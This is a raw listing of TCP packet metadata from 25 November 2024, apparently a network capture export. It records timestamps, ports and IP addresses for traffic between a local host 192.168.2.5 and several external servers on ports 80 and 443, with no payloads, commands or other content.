Nov 25, 2024 18:28:39.485430956 CET	443	49824	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:39.485486984 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:39.486515045 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:39.486577034 CET	443	49824	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:39.515568972 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.515598059 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.515635967 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.515650988 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.515674114 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.515702009 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.538391113 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:39.538397074 CET	443	49824	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:39.562552929 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.562581062 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.562628984 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.562657118 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.562674046 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.562726974 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.572760105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.586436987 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:39.614933968 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.614959955 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.614995956 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.615017891 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.615046978 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.615087032 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.686604977 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.686634064 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.686640978 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.686666965 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.686691046 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.686691046 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.686712980 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.686752081 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.686764956 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.704344034 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.704377890 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.704430103 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.704468012 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.704488993 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.704576969 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.739188910 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.739216089 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.739264011 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.739294052 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.739321947 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.739372015 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.828668118 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:39.828932047 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:39.828941107 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:39.829303980 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:39.829633951 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:39.829694033 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:39.829955101 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:39.829968929 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:39.829976082 CET	443	49827	4.152.199.46	192.168.2.5
Nov 25, 2024 18:28:39.875031948 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.875055075 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.875122070 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.875150919 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.875210047 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.879765034 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.879798889 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.879842997 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.879878998 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.879898071 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.879920959 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.883830070 CET	49827	443	192.168.2.5	4.152.199.46
Nov 25, 2024 18:28:39.896162987 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.896188021 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.896269083 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.896294117 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.896312952 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.896332026 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.899935007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.900007963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.900036097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.900057077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.900173903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.900281906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.900333881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.900393009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.900924921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.900980949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.901055098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.901129961 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.901161909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.901204109 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.902065039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.902123928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.902169943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.902203083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.903131008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.903182983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.903292894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.903347969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.904076099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.904129982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.904179096 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.904217958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.905009985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.905021906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.905061960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.905086040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.905953884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.906068087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.906083107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.906131983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.906966925 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.907020092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.907058001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.907099009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.908092022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.908144951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.908216953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:39.908262968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:39.920200109 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.920231104 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.920279980 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.920310974 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:39.920339108 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:39.920356989 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.025335073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.025372028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.025402069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.025428057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.025789976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.025870085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.025918007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.026756048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.026926994 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.026931047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.026962996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.027720928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.027789116 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.027816057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.027861118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.028723955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.028786898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.028894901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.029023886 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.029639006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.029691935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.029743910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.029815912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.030637026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.030683041 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.030716896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.030752897 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.031629086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.031672955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.031735897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.031774998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.032582045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.032651901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.032686949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.032913923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.033549070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.033601046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.033660889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.033703089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.034535885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.034590006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.034619093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.034666061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.035563946 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.035614967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.035620928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.035787106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.036494017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.036552906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.036587954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.036674976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.037461996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.037529945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.037563086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.038016081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.038424015 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.038465977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.038537025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.038578987 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.039429903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.039496899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.039515972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.039549112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.040415049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.040493965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.040550947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.040595055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.041392088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.041450977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.041471004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.041546106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.042354107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.042464972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.042509079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.048825979 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.048860073 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.048899889 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.048937082 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.048954964 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.049117088 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.060698986 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.060781956 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.060796022 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.060853004 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.061629057 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.061652899 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.073857069 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.073930025 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.073966980 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.073996067 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.074014902 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.074057102 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.092897892 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.092947960 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.093010902 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.093043089 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:40.093070030 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.093079090 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:40.126085043 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:40.127476931 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:40.127513885 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:40.128664017 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:40.128680944 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:40.128741026 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:40.128751040 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:40.149559021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.149620056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.149645090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.149724960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.150064945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.150254011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.150295019 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.150298119 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.150873899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.151228905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.151344061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.151387930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.152235031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.152314901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.152318954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.152403116 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.153239012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.153251886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.153278112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.153297901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.154195070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.154248953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.154305935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.154344082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.155107021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.155153036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.155225992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.155262947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.156112909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.156167030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.156229973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.156296015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.157067060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.157119036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.157193899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.157234907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.158076048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.158148050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.158253908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.158293962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.159051895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.159113884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.159199953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.159254074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.160178900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.160227060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.160259962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.160259962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.161014080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.161071062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.161096096 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.161226034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.161226034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.161987066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.162026882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.162110090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.162166119 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.162189007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.162996054 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.163049936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.163064957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.163103104 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.163980961 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.163994074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.164033890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.164053917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.164882898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.164946079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.165047884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.165141106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.165853977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.165910006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.165946960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.166009903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.166897058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.166912079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.166935921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.166956902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.167850018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.167912006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.167917013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.168025970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.169122934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.169169903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.169240952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.169281006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.169928074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.169960022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.170008898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.170752048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.170797110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.170870066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.171005011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.171713114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.171758890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.171907902 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.171948910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.172674894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.172736883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.172774076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.172813892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.173790932 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.173825026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.173851013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.173851013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.174735069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.174772024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.174781084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.174814939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.175667048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.175725937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:40.175769091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:40.175808907 CET	49761	80	192.168.2.5	185.215.113.206
